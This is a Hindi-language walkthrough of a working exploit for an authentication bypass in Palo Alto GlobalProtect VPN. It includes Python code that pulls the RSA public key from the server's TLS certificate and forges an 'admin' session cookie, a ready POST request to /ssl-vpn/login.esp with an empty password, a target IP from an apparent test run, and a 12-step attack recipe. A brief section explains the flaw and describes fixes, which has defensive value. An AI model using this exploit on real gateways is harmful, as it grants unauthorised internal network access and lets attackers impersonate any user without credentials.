
पालो ऑल्टो नेटवर्क्स PAN-OS में GlobalProtect पोर्टल और गेटवे में खामियों के कारण एक प्रमाणीकरण बाईपास है, जो हमलावरों को अनधिकृत VPN कनेक्शन स्थापित करने देता है, शोषण के लिए पोर्टल या गेटवे तक नेटवर्क पहुंच की आवश्यकता होती है।
यह एक्सप्लॉइट पालो ऑल्टो GlobalProtect गेटवे/पोर्टल में अप्रमाणित VPN पहुँच प्राप्त करता है, केवल सर्वर के सार्वजनिक रूप से उपलब्ध TLS प्रमाणपत्र का उपयोग करके एक प्रमाणीकरण कुकी बनाकर।
GlobalProtect एक पूर्व-प्रमाणीकरण कुकी (portal-userauthcookie) का उपयोग करता है ताकि क्लाइंट प्रमाणित हो सकें। यहाँ घातक दोष है:
सामान्य प्रवाह:
1. क्लाइंट प्रमाणित होता है (उपयोगकर्ता नाम + पासवर्ड)
2. सर्वर एक कुकी उत्पन्न करता है → इसे सर्वर की RSA सार्वजनिक कुंजी से एन्क्रिप्ट करता है
3. क्लाइंट एन्क्रिप्टेड कुकी संग्रहीत करता है
4. पुनः कनेक्शन पर, क्लाइंट कुकी भेजता है → सर्वर निजी कुंजी से डिक्रिप्ट करता है → उस पर भरोसा करता है
बग:
सर्वर केवल यह जाँचता है कि क्या कुकी अपनी निजी कुंजी से सफलतापूर्वक डिक्रिप्ट होती है।
यह सत्यापित नहीं करता कि कुकी को किसने एन्क्रिप्ट किया या क्या प्लेनटेक्स्ट सामग्री वैध है।
चूँकि RSA सार्वजनिक कुंजी सर्वर के TLS प्रमाणपत्र में एम्बेडेड है (जो किसी भी कनेक्ट होने वाले के लिए सार्वजनिक रूप से सुलभ है), कोई भी हमलावर:
यह एक पाठ्यपुस्तकीय टूटा हुआ प्रमाणीकरण दोष है — एन्क्रिप्शन का उपयोग वहाँ किया गया जहाँ डिजिटल हस्ताक्षर या HMAC की आवश्यकता थी।
flowchart TD
A["चरण 1: रॉ TCP कनेक्ट"] --> B["चरण 2: निर्मित TLS ClientHello भेजें"]
B --> C["चरण 3: ServerHello पार्स करें → DER प्रमाणपत्र निकालें"]
C --> D["चरण 4: ASN.1 चलें → RSA सार्वजनिक कुंजी निकालें"]
D --> E["चरण 5: PKCS#1 v1.5 एन्क्रिप्टेड कुकी बनाएँ"]
E --> F["चरण 6: /ssl-vpn/login.esp पर POST करें"]
F --> G{"सर्वर कुकी डिक्रिप्ट करता है"}
G -->|"वैध प्लेनटेक्स्ट"| H["प्रमाणीकरण बाइपास — VPN पहुँच प्रदान"]
G -->|"अमान्य"| I["अस्वीकृत"]रॉ क्यों? हमें सर्वर का प्रमाणपत्र DER (रॉ बाइनरी) प्रारूप में चाहिए। Python का
sslमॉड्यूल आंतरिक रूप से पूरा TLS हैंडशेक पूरा करता है और रॉ प्रमाणपत्र बाइट्स उसी तरह प्रदर्शित नहीं करता। रॉ TCP कनेक्शन करके और हाथ से बनाया गया ClientHello भेजकर, हम सर्वर की प्रतिक्रिया को बाइट स्तर पर इंटरसेप्ट कर सकते हैं।
TLS रिकॉर्ड इस तरह दिखता है:
┌──────────────────────────────────────────────────┐
│ TLS रिकॉर्ड हेडर (5 बाइट्स) │
│ ┌──────┬──────────┬────────────┐ │
│ │ प्रकार│ संस्करण │ लंबाई │ │
│ │ 0x16 │ 0x03 01 │ 2 बाइट्स │ │
│ │(हैंडशेक)│(TLS 1.0)│ │ │
│ └──────┴──────────┴────────────┘ │
│ │
│ हैंडशेक संदेश │
│ ┌──────┬────────────┬─────────────────────────┐ │
│ │ प्रकार│ लंबाई │ बॉडी │ │
│ │ 0x01 │ 3 बाइट्स │ (ClientHello) │ │
│ │(CHlo)│ │ │ │
│ └──────┴────────────┴─────────────────────────┘ │
└──────────────────────────────────────────────────┘
ClientHello बॉडी में शामिल है:
| क्षेत्र | मान | उद्देश्य |
|---|---|---|
| संस्करण | 0x03 0x03 (TLS 1.2) | सर्वर को बताएँ हम TLS 1.2 बोलते हैं |
| रैंडम | 4-बाइट टाइमस्टैम्प + 28 रैंडम बाइट्स | हैंडशेक के लिए नॉन्स |
| सत्र ID | 0x00 (खाली) | कोई सत्र पुनरारंभ नहीं |
| सिफर सूट | 9 सूट जिनमें TLS_RSA_WITH_AES_128_CBC_SHA शामिल | मुख्य: हम RSA-केवल सिफर शामिल करते हैं ताकि सर्वर को अपने RSA प्रमाणपत्र का उपयोग करने के लिए मजबूर किया जा सके |
| संपीड़न | 0x00 (कोई नहीं) | आवश्यक |
शामिल एक्सटेंशन:
| एक्सटेंशन | ID | उद्देश्य |
|---|---|---|
| SNI (सर्वर नाम संकेत) | 0x0000 | सर्वर को बताएँ हम किस होस्टनाम से जुड़ रहे हैं |
| हस्ताक्षर एल्गोरिदम | 0x000D | बताएँ हम किन हस्ताक्षर एल्गोरिदम का समर्थन करते हैं |
| समर्थित समूह | 0x000A | हम किन EC वक्रों का समर्थन करते हैं (P-256, P-384, P-521) |
| EC बिंदु प्रारूप | 0x000B | असम्पीडित EC बिंदु |
[!NOTE] सिफर सूट्स में जानबूझकर RSA कुंजी विनिमय सिफर (
0x002F=TLS_RSA_WITH_AES_128_CBC_SHA) शामिल हैं। यह सर्वर को ECDSA प्रमाणपत्र के बजाय अपना RSA प्रमाणपत्र भेजने के लिए प्रेरित करता है — जो महत्वपूर्ण है क्योंकि एक्सप्लॉइट केवल RSA के साथ काम करता है।
ClientHello भेजने के बाद, सर्वर कई TLS रिकॉर्ड वापस भेजता है:
सर्वर प्रतिक्रिया:
┌─────────────────┐
│ ServerHello │ (हैंडशेक प्रकार 2)
├─────────────────┤
│ प्रमाणपत्र │ (हैंडशेक प्रकार 11) ← हमें यह चाहिए
├─────────────────┤
│ ServerKeyExchange│ (हैंडशेक प्रकार 12, वैकल्पिक)
├─────────────────┤
│ ServerHelloDone │ (हैंडशेक प्रकार 14) ← रुकने का संकेत
└─────────────────┘
चरण 1 — TLS रिकॉर्ड हेडर हटाएँ:
प्रत्येक TLS रिकॉर्ड में 5-बाइट हेडर होता है: [प्रकार(1)] [संस्करण(2)] [लंबाई(2)]। कोड सभी रिकॉर्ड्स को स्कैन करता है, और type == 22 (हैंडशेक) वाले रिकॉर्ड के पेलोड को जोड़ता है:
while i + 5 <= len(data):
t = data[i] # सामग्री प्रकार
rl = (data[i + 3] << 8) | data[i + 4] # रिकॉर्ड लंबाई
if t == 22: # हैंडशेक
hs.extend(data[i + 5: i + 5 + rl]) # पेलोड लें
i += 5 + rl # अगला रिकॉर्ड
चरण 2 — प्रमाणपत्र संदेश (प्रकार 11) खोजें:
हैंडशेक स्ट्रीम के अंदर, प्रत्येक संदेश का 4-बाइट हेडर होता है: [प्रकार(1)] [लंबाई(3)]। हम type == 11 की खोज करते हैं:
while j + 4 <= len(hs):
ht = hs[j] # हैंडशेक प्रकार
hl = (hs[j+1] << 16) | (hs[j+2] << 8) | hs[j+3] # 3-बाइट लंबाई
if ht == 11: # प्रमाणपत्र!
# अंदर प्रमाणपत्र सूची पार्स करें
चरण 3 — अलग-अलग DER प्रमाणपत्र निकालें:
प्रमाणपत्र संदेश में प्रमाणपत्रों की एक सूची होती है, प्रत्येक के पहले 3-बाइट लंबाई होती है:
प्रमाणपत्र संदेश बॉडी:
┌───────────────────────────────────┐
│ कुल प्रमाणपत्रों की लंबाई (3 बाइट्स) │
├───────────────────────────────────┤
│ प्रमाणपत्र 1 की लंबाई (3 बाइट्स) │
│ प्रमाणपत्र 1 का DER डेटा (चर) │
├───────────────────────────────────┤
│ प्रमाणपत्र 2 की लंबाई (3 बाइट्स) │
│ प्रमाणपत्र 2 का DER डेटा (चर) │
├───────────────────────────────────┤
│ ... │
└───────────────────────────────────┘
हमारे परीक्षण रन में, हमें 3 प्रमाणपत्र मिले (लीफ प्रमाणपत्र, मध्यवर्ती CA, रूट CA)।
यह फ़ंक्शन ServerHelloDone (हैंडशेक प्रकार 14) को स्कैन करता है, जो हमें बताता है कि सर्वर भेजना समाप्त कर चुका है और हम पढ़ना बंद कर सकते हैं।
X.509 प्रमाणपत्र DER (विशिष्ट एन्कोडिंग नियम) में एन्कोडेड होते हैं, जो ASN.1 (अमूर्त सिंटैक्स नोटेशन वन) पर आधारित एक बाइनरी प्रारूप है।
DER में प्रत्येक तत्व है:
┌─────┬────────┬───────────────────┐
│ टैग │ लंबाई │ मान (पेलोड) │
│ 1B │ 1-5B │ चर │
└─────┴────────┴───────────────────┘
लंबाई एन्कोडिंग:
0x80 है: लंबाई सीधे वह बाइट है (लघु रूप)0x80 है: निचले 7 बिट = लंबाई को एन्कोड करने वाले निम्नलिखित बाइट्स की संख्या (दीर्घ रूप)# उदाहरण: लंबाई बाइट = 0x82 → 2 और बाइट्स अनुसरण करती हैं
# अगले 2 बाइट्स: 0x06 0x4F → लंबाई = 0x064F = 1615 बाइट्स
def rd_tl(d, p):
tag = d[p]; p += 1
length = d[p]; p += 1
if length & 0x80: # दीर्घ रूप?
nb = length & 0x7F # कितने बाइट्स अनुसरण करते हैं
length = 0
for _ in range(nb):
length = (length << 8) | d[p]
p += 1
return {"tag": tag, "len": length, "pos": p} # pos = मान का प्रारंभ
प्रमाणपत्र ::= SEQUENCE { ← टैग 0x30
tbsCertificate SEQUENCE { ← टैग 0x30
version [0] EXPLICIT ← टैग 0xA0 (वैकल्पिक)
serialNumber INTEGER ← टैग 0x02
signature SEQUENCE (AlgorithmID) ← टैग 0x30
issuer SEQUENCE ← टैग 0x30
validity SEQUENCE ← टैग 0x30
subject SEQUENCE ← टैग 0x30
subjectPublicKeyInfo SEQUENCE { ← टैग 0x30 ★ हमें यह चाहिए ★
algorithm SEQUENCE { ← टैग 0x30
algorithm OID ← टैग 0x06
parameters (वैकल्पिक)
}
subjectPublicKey BIT STRING { ← टैग 0x03
RSAPublicKey SEQUENCE { ← टैग 0x30
modulus INTEGER ← टैग 0x02 ★ n ★
exponent INTEGER ← टैग 0x02 ★ e ★
}
}
}
...
}
...
}
फ़ंक्शन टैग+लंबाई पढ़कर और उन फ़ील्ड्स को छोड़कर DER ट्री को चलता है जिनकी हमें आवश्यकता नहीं है:
# बाहरी SEQUENCE (प्रमाणपत्र) में प्रवेश करें
r = rd_tl(der, 0) # → SEQUENCE
# tbsCertificate SEQUENCE में प्रवेश करें
r = rd_tl(der, p) # → SEQUENCE
# वैकल्पिक संस्करण टैग की जाँच करें
r = rd_tl(der, p)
if r["tag"] == 0xA0: # संस्करण फ़ील्ड मौजूद है → इसे छोड़ें
p = r["pos"] + r["len"]
r = rd_tl(der, p)
# छोड़ें: serial → sigAlg → issuer → validity → subject
# (बस प्रत्येक TLV पढ़ें और उसके ऊपर से कूदें)
# अब हम subjectPublicKeyInfo पर हैं
# AlgorithmIdentifier पढ़ें → जाँचें कि OID = RSA है या नहीं
oid = der[r["pos"]: r["pos"] + r["len"]]
rsa_oid = [0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01]
# ↑ यह 1.2.840.113549.1.1.1 = rsaEncryption है
if oid != rsa_oid:
return None # RSA नहीं (संभवतः ECDSA)
# BIT STRING पढ़ें → 1 बाइट छोड़ें (अप्रयुक्त बिट संकेतक)
# आंतरिक SEQUENCE पढ़ें → modulus (n) और exponent (e) निकालें
महत्वपूर्ण विवरण — modulus में अग्रणी शून्य बाइट:
if der[ms] == 0 and ml > 1:
ms += 1 # अग्रणी 0x00 हटाएँ
ml -= 1
DER पूर्णांकों को हस्ताक्षरित के रूप में एन्कोड करता है। यदि modulus का उच्च बिट 1 है, तो इसे धनात्मक रखने के लिए एक 0x00 बाइट प्रस्तुत की जाती है। हम इसे हटाते हैं क्योंकि हमें कच्चे अहस्ताक्षरित मान की आवश्यकता है।
हमारे लक्ष्य के लिए: modulus = 2048 बिट (256 बाइट्स), exponent = 65537 (0x10001)
यह एक्सप्लॉइट का हृदय है।
प्लेनटेक्स्ट कुकी प्रारूप है:
admin;;Windows;;1748928001;0.0.0.0
│ │ │ │
│ │ │ └── क्लाइंट IP
│ │ └── यूनिक्स टाइमस्टैम्प
│ └── OS पहचानकर्ता
└── उपयोगकर्ता नाम (हम "admin" चुनते हैं)
RSA एन्क्रिप्शन से पहले, प्लेनटेक्स्ट को कुंजी आकार (2048-बिट RSA के लिए 256 बाइट्स) तक पैड किया जाना चाहिए:
┌──────┬──────┬──────────────────────────┬──────┬─────────────────────┐
│ 0x00 │ 0x02 │ रैंडम गैर-शून्य पैडिंग │ 0x00 │ प्लेनटेक्स्ट संदेश │
│ │ │ (≥ 8 बाइट्स) │ │ │
└──────┴──────┴──────────────────────────┴──────┴─────────────────────┘
1B 1B padLen बाइट्स 1B संदेश बाइट्स
कुल = 256 बाइट्स (= कुंजी आकार)
def forge(n, e, kl, username):
ts = str(int(time.time()))
pt = str2b(username + ";;Windows;;" + ts + ";0.0.0.0")
pad_len = kl - len(pt) - 3 # 3 = 0x00 + 0x02 + 0x00 विभाजक
if pad_len < 8: # PKCS#1 को ≥ 8 पैड बाइट्स चाहिए
return ""
em = bytearray([0x00, 0x02]) # प्रकार 2 पैडिंग हेडर
for _ in range(pad_len):
em.append(random.randint(1, 255)) # गैर-शून्य रैंडम बाइट्स!
em.append(0x00) # विभाजक
cat(em, pt) # प्लेनटेक्स्ट जोड़ें
# RSA एन्क्रिप्शन: ciphertext = em^e mod n
return b64_encode(bi2bytes(modpow(bytes2bi(em), e, n), kl))
RSA गणित:
ciphertext = plaintext^e mod n
जहाँ:
plaintext = एक बड़े पूर्णांक के रूप में पैडेड संदेश (256 बाइट्स → ~2048 बिट)
e = 65537 (सार्वजनिक घातांक)
n = प्रमाणपत्र से 2048-बिट modulus
[!IMPORTANT] यह इसलिए काम करता है क्योंकि RSA एन्क्रिप्शन सार्वजनिक कुंजी (n, e) का उपयोग करता है, जिसे कोई भी TLS प्रमाणपत्र से प्राप्त कर सकता है। सर्वर इसे अपनी निजी कुंजी (n, d) से डिक्रिप्ट करेगा और प्लेनटेक्स्ट वापस प्राप्त करेगा —
admin;;Windows;;timestamp;0.0.0.0।फिर सर्वर इस प्लेनटेक्स्ट पर आँख बंद करके भरोसा करता है — यह कभी सत्यापित नहीं करता कि कुकी वैध रूप से स्वयं द्वारा जारी की गई थी।
बनाई गई कुकी को मानक HTTPS POST के रूप में GlobalProtect लॉगिन एंडपॉइंट पर भेजा जाता है:
POST /ssl-vpn/login.esp HTTP/1.1
Host: 1.255.199.2
Content-Type: application/x-www-form-urlencoded
User-Agent: GlobalProtect/6.0.0
Content-Length: ...
Connection: close
prot=https
&server=1.255.199.2
&user=admin
&passwd= ← खाली! कोई पासवर्ड आवश्यक नहीं
&context=gateway ← या "portal"
&clientos=Windows
&clientgpversion=6.0.0
&portal-userauthcookie=<BASE64_बनाई_गई_कुकी>
&portal-prelogonuserauthcookie=
[!NOTE]
passwdफ़ील्ड खाली है। सर्वर पासवर्ड की बिल्कुल जाँच नहीं करता — यह पूरी तरह सेportal-userauthcookieपर निर्भर करता है।
एक्सप्लॉइट दो एंडपॉइंट का परीक्षण करता है:
context=gateway): सीधी VPN टनल पहुँचcontext=portal): पोर्टल कॉन्फ़िगरेशन पहुँचdef is_gateway_success(resp, user):
# HTTP 200 की जाँच करें
# XML बॉडी में <status>Success</status> की जाँच करें
# या उपयोगकर्ता नाम वाले <argument> टैग की जाँच करें
sequenceDiagram
participant A as हमलावर
participant GP as GlobalProtect सर्वर
A->>GP: TCP कनेक्ट (पोर्ट 443)
A->>GP: रॉ TLS ClientHello (हाथ से बनाया गया)
GP->>A: ServerHello + प्रमाणपत्र (इसमें RSA सार्वजनिक कुंजी है)
GP->>A: ServerHelloDone
Note over A: प्रमाणपत्र से RSA सार्वजनिक कुंजी (n, e) निकालता है
Note over A: कुकी बनाता है: RSA_encrypt("admin;;Windows;;ts;0.0.0.0", pubkey)
A->>GP: POST /ssl-vpn/login.esp (TLS पर)
Note over GP: portal-userauthcookie प्राप्त होता है
Note over GP: RSA निजी कुंजी से डिक्रिप्ट करता है
Note over GP: "admin;;Windows;;ts;0.0.0.0" प्राप्त होता है
Note over GP: ⚠️ आँख बंद करके भरोसा करता है — कोई हस्ताक्षर जाँच नहीं!
GP->>A: HTTP 200 OK + <status>Success</status>
Note over A: 🎉 "admin" के रूप में पूर्ण VPN पहुँच| पहलू | प्रभाव |
|---|---|
| कोई क्रेडेंशियल आवश्यक नहीं | सार्वजनिक कुंजी वस्तुतः सार्वजनिक है — कोई भी जुड़ने वाला इसे प्राप्त कर सकता है |
| कोई ब्रूट फ़ोर्स नहीं | प्रति प्रयास एकल अनुरोध, कमजोर सर्वरों पर हमेशा सफल होता है |
| पूर्व-प्रमाणीकरण | किसी भी लॉगिन से पहले शोषण योग्य — कोई मौजूदा सत्र आवश्यक नहीं |
| उपयोगकर्ता प्रतिरूपण | हमलावर कोई भी उपयोगकर्ता नाम चुनता है (admin, CEO, आदि) |
| पूर्ण VPN पहुँच | एक बार प्रमाणित होने के बाद, हमलावर आंतरिक नेटवर्क पर होता है |
| पासवर्ड विफलता का कोई लॉग नहीं | चूँकि प्रमाणीकरण कुकी के माध्यम से होता है, असफल पासवर्ड अलर्ट सक्रिय नहीं होते |
मूलभूत समस्या प्रमाणीकरण के लिए एन्क्रिप्शन का उपयोग करना है। सही दृष्टिकोण:
डिजिटल हस्ताक्षर: सर्वर को कुकी पर अपनी निजी कुंजी से हस्ताक्षर करना चाहिए, न कि किसी एन्क्रिप्टेड कुकी को डिक्रिप्ट करना चाहिए। फिर पुनः प्रमाणीकरण पर हस्ताक्षर सत्यापित करें।
HMAC: कुकी पेलोड को HMAC करने के लिए सर्वर-साइड गुप्त कुंजी का उपयोग करें। केवल सर्वर ही रहस्य जानता है, इसलिए कुकी बनाई नहीं जा सकती।
टोकन बाइंडिंग: कुकी को मूल प्रमाणीकरण सत्र से बाँध दें ताकि इसे किसी भिन्न संदर्भ से पुनः चलाया न जा सके।
टूटा हुआ: cookie = RSA_encrypt(userdata, public_key) ← कोई भी ऐसा कर सकता है!
ठीक किया गया: cookie = HMAC(server_secret, userdata) ← केवल सर्वर ऐसा कर सकता है
1. लक्ष्य:443 से TCP कनेक्ट करें
2. हाथ से बनाया गया ClientHello भेजें (TCP पर रॉ बाइट्स, TLS नहीं)
3. ServerHello + प्रमाणपत्र + ServerHelloDone प्राप्त करें
4. TLS रिकॉर्ड पार्स करें → हैंडशेक संदेश निकालें
5. प्रमाणपत्र संदेश (प्रकार 11) खोजें → DER-एन्कोडेड प्रमाणपत्र निकालें
6. लीफ प्रमाणपत्र की ASN.1/DER संरचना चलें:
SEQUENCE → SEQUENCE → [version] → serial → sigAlg → issuer → validity → subject
→ subjectPublicKeyInfo → algorithmIdentifier (जाँचें OID = RSA)
→ BIT STRING → SEQUENCE → modulus (n) + exponent (e)
7. प्लेनटेक्स्ट बनाएँ: "admin;;Windows;;1748928001;0.0.0.0"
8. PKCS#1 v1.5 पैड: 0x00 0x02 [रैंडम≥8] 0x00 [प्लेनटेक्स्ट]
9. RSA एन्क्रिप्ट करें: ciphertext = padded^e mod n
10. Base64 एन्कोड → URL एन्कोड
11. बनाई गई कुकी के साथ /ssl-vpn/login.esp पर POST करें (उचित TLS पर)
12. सर्वर डिक्रिप्ट करता है → आँख बंद करके भरोसा करता है → VPN पहुँच प्रदान करता है